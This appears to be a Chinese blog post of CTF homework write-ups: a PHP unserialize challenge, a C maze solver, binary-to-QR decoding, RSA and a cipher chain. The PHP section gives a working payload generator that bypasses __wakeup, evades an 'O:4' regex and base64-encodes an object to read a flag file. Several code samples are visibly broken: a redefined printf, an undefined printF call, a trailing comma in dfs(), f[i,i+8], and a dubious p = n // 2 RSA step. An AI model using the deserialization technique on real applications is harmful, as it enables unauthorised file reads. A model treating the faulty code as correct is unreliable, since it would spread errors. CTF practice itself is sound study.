1.22作业

news2025/2/22 16:01:50

1

 Web-php-unserialize

 

 __construct()与$file、__destruct()

__wakeup()检查

先绕过wakeup函数：

O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

1.PHP序列化的时候对public protected private变量的处理方式是不同的

public无标记，变量名不变，如s:3:"qiu";i:2;

protected在变量名前添加标记\00*\00，长度加3，如s:6:"\00*\00qiu";i:2;

private在变量名前添加标记\00(classname)\00，长度+2+类名长度，如s:17:"\00FileHandler_Z\00op";i:2;

2.正则匹配了O:4:,使用+绕过

3.base64编码

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
 
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
 
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
 
$Q=new Demo("fl4g.php");
$Q=serialize($Q);  //序列化
$Q=str_replace("O:4","O:+4",$Q);  //+号绕过
$Q=str_replace(":1:{",":2:{",$Q);  // wakeup绕过
$Q=base64_encode($Q);  //base64绕过
echo $Q;
?>

2

#include<stdio.h>
#include<string.h>
char map[7][6][5]={
                    {"EOO##","#####","#####","#####","#####","###O#"},
                    {"##O##","OO###","##O##","#OO##","##O##","###O#"},
                    {"##OOO","#OO##","##O##","OO###","##O##","###O#"},
                    {"#O###","O####","#O###","O####","##O##","####O"},
                    {"#O###","O####","#O###","O####","##OO#","#OO##"},
                    {"#OOO#","###O#","###O#","###O#","###O#","#O##O"},
                    {"#####","###A#","#####","#####","#####","#OOOO"},
};
//起点坐标(0,0,0),终点坐标(2,3,4)
char a[50] = {0};
int visit[7][6][5] = {0};

void printf(int k){
    int i;
    char str[] = {12,6,18,20,31,38,30,61,17,22,85,43,3,6,41,20,0,14};
    for(i=0 ; i<k ;i++)
    {
    printf("%c",a[i]^str[i]);
    }
    putchar('\n');
}

void dfs(int x ,int y ,int z, int k){
    int i;
    int dx,dy,dz;
    if(map[x][y][z] == 'A'){
        printF(k);
        return ;
    }

    for(i=0 ; i<6 ; i++) {
        dx = x;
        dy = y;
        dz = z;
        switch ( i ){
            case 0:
            dx++;
            a[k] = 's';
            break;
            case 1:
            dx--;
            a[k] = 'w';
            break;
            case 2:
            dy--;
            a[k] = 'a';
            break;
            case 3:
            dy++;
            a[k] = 'd';
            break;
            case 4:
            dz++;
            a[k] = 'j';
            break;
            case 5:
            dz--;
            a[k] = 'k';
            break;
        }
        if(dx>=0 && dx<=6 && dy>=0 && dy<=5 && dz>=0 && dz<=5)
            if((!visit[dx][dy][dz] && map[dx][dy][dz] == 'O' )|| map[dx][dy][dz]== 'A'){
                visit[dx][dy][dz] = 1;
                dfs(dx , dy , dz , k+1);
                visit[dx][dy][dz] = 0;//回溯
            }
    }
}



int main(){
    visit[0][0][0]=1;
    dfs(0,0,0,0,);
    return 0;
}

3BINARY:

java反编译

Release 1.3.1 · skylot/jadx · GitHub

flag_list = [77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 86, 120, 117, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 65, 120, 77, 70, 120, 117, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 70, 120, 117, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 65, 120, 77, 68, 65, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 86, 120, 117, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 65, 119, 77, 84, 65, 119, 
        77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 119, 77, 70, 120, 117, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 65, 120, 77, 84, 65, 120, 77, 70, 120, 117, 77, 68, 65, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 68, 69, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 86, 120, 117, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 120, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 86, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 69, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 65, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 65, 61, 61]
for i in flag_list:
	print(chr(i),end="")

 二进制转字符无果，猜测二进制转黑白像素得到图片，猜测二维码，使用Python简单爆破下图片宽高为：37

bin_data = '0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000'

for i in range(len(bin_data)):
	if i * i == len(bin_data):
		print(i)

from PIL import Image

bin_data = '0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000'

new_img = Image.new('RGB', (37,37))
width, height = 37, 37
i = 0
for w in range(width):
	for h in range(height):
		if bin_data[i] == '0':
			new_img.putpixel((w,h), (0,0,0))
		elif bin_data[i] == '1':
			new_img.putpixel((w,h), (255,255,255))
		else:
			break
		i += 1
new_img.save('flag.png')
new_img.show()

4

from Crypto.Util.number import long_to_bytes
n = 1187036881143255678002463758823328059054967286304079946698830107983054756455116137560640360907617090768892222200232769013898086641365526920365941657223719909608623612364565491394396836689005779953582737606769612044152900984410189797945160970640233269434857215156707188226644140186233117418578999649675501923158500973527860820476774162258056088176836933971626651722297419469001832141393303687831763041541298637984981484605886538085054999743028130034186150375954369138007688335922353720290223733062752735362640330007395278113210621407774253326748367183647916542260385241849328645829055161868897760626313462053770486741600871918596910274170809764858924373557759944088849747488101309508664734646761762412297919300985341470183672896494363089287897564003884864937477882116184866139314943820121458541671053111784924614354354051278861337795171453392846554516472806170955424094756390970572454084554064299959563385403753982420758416150497980281277588694172034437436874006653172021381177623273333042379989422646166480734410913148567193586525237775287519085811109666011917375279015787726665088346364963313941503929463975682736763812440239892582271133388552728034109040233071519106207594592661468817905961569517921007110971395505830618097714478302
e = 65537
ct = 795807804195143453698199351714341881491007858193124317249991960343873442402330541927355975462857321435938754440321580174443331666641181625664069405050964566344381744709294110771870536802353007022271867378658681771017152652337537847752445300535171488167996282441962543976576696465573991060306807268553659109840313328518099780850408480656440234846473549017585724141302898515099966486748289860601838615696366759534875502563433987281076478746704673766615604679732113066945172837918782569635525478298453073137252252807049842035005266808708242245205256476149494296039430508531375107451338401537609064664390446408507706477965483671800993119312002909135270398571898844908643483215653937390863031730605961379386046951618745731912613235578147115643378764728145934422515365821994913473759604466504627671738552946527189180057717976411101700962342930065732023681381389942592202841123754672836935980227561011259880242223658584675417448037977336301973044247690228389495603711704632306639520856078639797104835378636642939190389932673963835980987694812947833691746134338765367684261289851826492260573430796933048931658801423183863572727478714738535956082504958502080116828296338104460121704114347331800007862970894127699814246457589160922514051314061
 
p = n // 2
phi = p - 1
d = pow(e, -1, phi)
pt = pow(ct, d, n)
flag = long_to_bytes(pt)
print(f"4T{{{flag.decode()}}}")

5

T1S8D-4X^)K5;.#8P42X&-48L0YA0.$,E52PJ/40M)IE!+$8S43DM.4$M4ZE!
+.$,F03DJ15T*8`O`
`

UUdecode解密

凯撒，但二进制

with open('cipher.txt') as f:
    f = f.read()
    for i in range(0,len(f),8):
        print(f[i,i+8])
        print(chr(int(f[i:i+8],2)),end="")

8为二进制一组，发现最后一组少了一位，在二进制数据前加一个0【第一个就错了，是最后一组的前面】

全大写，base32

c5f09ce5ef9cadb3b3b1a89cddeae09cc9eeaa9cc6ddeef2e5ef9cc8ebeeeef59ce5ef9cf0eeddf2e1e8e5eae39cf0eb9cc0ebf2e1ee9cf0eb9ce9e1e1f09cc8f1dfe5e19cc9ddeae1f0f0e1aa9cc4e19cf0e1e8e8ef9ce4e1ee9cf0e4ddf09cefe4e19ce5ef9ceaebf09cddea9cebeeece4ddea9cddef9cefe4e19ce4dde09cdee1e1ea9cf0ebe8e09ce2eeebe99cdd9cf5ebf1eae39cdde3e1aa9ce2e8dde3f7b2e1b1e0b2e1afb5deb1aee0b5e1b3e1acdfb2b3adb1afddb2acdfdeb1dfafdff99cc4e19ceaebf39cefddf5ef9cf0e4ddf09ce4e19cf3e5e8e89cf0eeddf2e1e89cf3e5f0e49ce4e1ee9cf0eb9cccddeee5ef9cf0eb9ce9e1e1f09ce4e1ee9ce2ddf0e4e1eea89cf3e4eb9ce4ddef9ceee1dfe1eaf0e8f59cdee1e1ea9ceee1e8e1ddefe1e09ce2eeebe99cf0e4e19cbeddeff0e5e8e8e1aa
#得到一组hex，凯撒

        移位操作

with open('cipher.txt') as f:
    f = f.read()
    for sub in range(200):
        flag = ''
        for i in range(0,len(f),2):
            data = int(f[i:i+2],16)
            data = data - sub
            try:
                flag += chr(data)
            except:
                pass
        if 'flag{' in flag:
            print(flag)
        else:
            pass

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2303500.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

学习aigc

学习aigc

DALLE2 论文 Hierarchical Text-Conditional Image Generation with CLIP Latents [2204.06125] Hierarchical Text-Conditional Image Generation with CLIP LatentsAbstract page for arXiv paper 2204.06125: Hierarchical Text-Conditional Image Generation with CLIP L…
阅读更多...
overflow-x: auto 使用鼠标实现横向滚动，区分触摸板和鼠标滚动事件的方法

overflow-x: auto 使用鼠标实现横向滚动，区分触摸板和鼠标滚动事件的方法

假设一个 div 的滚动只设置了 overflow-x: auto 我们发现使用鼠标的滚轮是无法左右滚动的&#xff0c;但是使用笔记本电脑的触摸板&#xff0c;或者在移动设备上是可以滚动的。所以我们需要兼容一下鼠标的横向滚动功能。 我们可以监控 wheel 事件&#xff0c;然后根据位置来计…
阅读更多...
模拟实现Java中的计时器

模拟实现Java中的计时器

定时器是什么 定时器也是软件开发中的⼀个重要组件. 类似于⼀个 "闹钟". 达到⼀个设定的时间之后, 就执⾏某个指定好的代码. 前端/后端中都会用到计时器. 定时器是⼀种实际开发中⾮常常⽤的组件. ⽐如⽹络通信中, 如果对⽅ 500ms 内没有返回数据, 则断开连接尝试重…
阅读更多...
Ubuntu 的RabbitMQ安装

Ubuntu 的RabbitMQ安装

目录 1.安装Erlang 查看erlang版本 退出命令 2. 安装 RabbitMQ 3.确认安装结果 4.安装RabbitMQ管理界面 5.启动服务并访问 1.启动服务 2.查看服务状态 3.通过IP:port 访问界面 4.添加管理员用户 a&#xff09;添加用户名&#xff1a;admin&#xff0c;密码&#xff1…
阅读更多...
vim修改只读文件

vim修改只读文件

现象 解决方案 对于有root权限的用户&#xff0c;在命令行输入 :wq! 即可强制保存退出
阅读更多...
【DeepSeek】本地部署，保姆级教程

【DeepSeek】本地部署，保姆级教程

deepseek网站链接传送门&#xff1a;DeepSeek 在这里主要介绍DeepSeek的两种部署方法&#xff0c;一种是调用API&#xff0c;一种是本地部署。 一、API调用 1.进入网址Cherry Studio - 全能的AI助手选择立即下载 2.安装时位置建议放在其他盘&#xff0c;不要放c盘 3.进入软件后…
阅读更多...
NCRE证书构成：全国计算机等级考试证书体系详解

NCRE证书构成：全国计算机等级考试证书体系详解

全国计算机等级考试&#xff08;NCRE&#xff09;证书体系为中学生提供了一个系统学习和提升计算机能力的平台。本文将详细介绍 NCRE 证书的构成&#xff0c;帮助中学生了解 NCRE 证书的级别和内容&#xff0c;规划未来职业发展。 一、NCRE 证书体系概述 NCRE 证书共分为四个级…
阅读更多...
如何在WPS打开的word、excel文件中，使用AI？

如何在WPS打开的word、excel文件中，使用AI？

1、百度搜索&#xff1a;Office AI官方下载 或者直接打开网址&#xff1a;https://www.office-ai.cn/static/introductions/officeai/smartdownload.html 打开后会直接提示开始下载中&#xff0c;下载完成后会让其选择下载存放位置&#xff1a; 选择位置&#xff0c;然后命名文…
阅读更多...
【设计模式】 代理模式（静态代理、动态代理{JDK动态代理、JDK动态代理与CGLIB动态代理的区别}）

【设计模式】 代理模式（静态代理、动态代理{JDK动态代理、JDK动态代理与CGLIB动态代理的区别}）

代理模式 代理模式是一种结构型设计模式&#xff0c;它提供了一种替代访问的方法&#xff0c;即通过代理对象来间接访问目标对象。代理模式可以在不改变原始类代码的情况下&#xff0c;增加额外的功能&#xff0c;如权限控制、日志记录等。 静态代理 静态代理是指创建的或特…
阅读更多...
《A++ 敏捷开发》- 16 评审与结对编程

《A++ 敏捷开发》- 16 评审与结对编程

客户&#xff1a;我们的客户以银行为主&#xff0c;他们很注重质量&#xff0c;所以一直很注重评审。他们对需求评审、代码走查等也很赞同&#xff0c;也能找到缺陷&#xff0c;对提升质量有作用。但他们最困惑的是通过设计评审很难发现缺陷。 我&#xff1a;你听说过敏捷的结对…
阅读更多...
NutUI内网离线部署

NutUI内网离线部署

文章目录 官网拉取源代码到本地仓库修改源代码打包构建nginx反向代理部署访问内网离线地址 在网上找了一圈没有写NutUI内网离线部署的文档&#xff0c;花了1天时间研究下&#xff0c;终于解决了。 对于有在内网离线使用的小伙伴就可以参考使用了 如果还是不会联系UP主:QQ:10927…
阅读更多...
【实战篇】【深度介绍 DeepSeek R1 本地/私有化部署大模型常见问题及解决方案】

【实战篇】【深度介绍 DeepSeek R1 本地/私有化部署大模型常见问题及解决方案】

引言 大家好&#xff01;今天我们来聊聊 DeepSeek R1 的本地/私有化部署大模型。如果你正在考虑或者已经开始了这个项目&#xff0c;那么这篇文章就是为你准备的。我们会详细探讨常见问题及其解决方案&#xff0c;帮助你更好地理解和解决在部署过程中可能遇到的挑战。准备好了…
阅读更多...
Qt学习（六） 软件启动界面 ，注册表使用 ，QT绘图， 视图和窗口绘图，Graphics View绘图框架：简易CAD

Qt学习（六） 软件启动界面 ，注册表使用 ，QT绘图， 视图和窗口绘图，Graphics View绘图框架：简易CAD

一 软件启动界面 注册表使用 知识点1&#xff1a;这样创建的界面是不可以拖动的&#xff0c;需要手动创建函数来进行拖动&#xff0c;以下的3个函数是从父类继承过来的函数 virtual void mousePressEvent(QMouseEvent *event);virtual void mouseReleaseEvent(QMouseEvent *eve…
阅读更多...
java练习（36）

java练习（36）

ps:题目来自力扣 给你一个字符串 s 和一个字符规律 p&#xff0c;请你来实现一个支持 . 和 * 的正则表达式匹配。 . 匹配任意单个字符* 匹配零个或多个前面的那一个元素 所谓匹配&#xff0c;是要涵盖 整个 字符串 s 的&#xff0c;而不是部分字符串。 class Solution {publ…
阅读更多...
【Linux网络编程】IP协议格式，解包步骤

【Linux网络编程】IP协议格式，解包步骤

目录 解析步骤 1.版本字段&#xff08;大小&#xff1a;4比特位&#xff09; 2.首部长度&#xff08;大小&#xff1a;4比特位&#xff09;&#xff08;单位&#xff1a;4字节&#xff09; &#x1f35c;细节解释&#xff1a; 3.服务类型&#xff08;大小&#xff1a;8比特…
阅读更多...
Unity 位图字体

Unity 位图字体

下载Bitmap Font Generator BMFont - AngelCode.com 解压后不用安装直接双击使用 提前设置 1、设置Bit depth为32 Options->Export options 2、清空所选字符 因为我们将在后边导入需要的字符。 Edit->Select all chars 先选择所有字符 Edit->Clear all chars i…
阅读更多...
Linux 网络与常用操作(适合开发/运维/网络工程师)

Linux 网络与常用操作(适合开发/运维/网络工程师)

目录 OSI 七层协议简介 应用层 传输层 Linux 命令&#xff01;&#xff01;&#xff01; 1. ifconfig 命令 简介 1. 查看网络地址信息 2. 指定开启、或者关闭网卡 3. 修改、设置 IP 地址 4. 修改机器的 MAC 地址信息 5. 永久修改网络设备信息 2. route 路由命令 …
阅读更多...
linux 安装启动zookeeper全过程及遇到的坑

linux 安装启动zookeeper全过程及遇到的坑

1、下载安装zookeeper 参考文章&#xff1a;https://blog.csdn.net/weixin_48887095/article/details/132397448 2、启动失败 1、启动失败JAVA_HOME is not set and java could not be found in PATH 已安装 JAVA 配置了JAVA_HOME,还是报错解决方法&#xff1a;参考&#xf…
阅读更多...
MySQL数据库——表的约束

MySQL数据库——表的约束

1.空属性&#xff08;null/not null&#xff09; 两个值&#xff1a;null&#xff08;默认的&#xff09;和not null&#xff08;不为空&#xff09; 数据库默认字段基本都是字段为空&#xff0c;但是实际开发时&#xff0c;尽可能保证字段不为空&#xff0c;因为数据为空没办法…
阅读更多...
ArcGIS Pro进行坡度与坡向分析

ArcGIS Pro进行坡度与坡向分析

在地理信息系统中&#xff0c;坡度分析是一项至关重要的空间分析方法&#xff0c;旨在精确计算地表或地形的坡度&#xff0c;为地形特征识别、土地资源规划、环境保护、灾害预警等领域提供科学依据。本文将详细介绍如何利用ArcGIS Pro这一强大的地理信息系统软件&#xff0c;进…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023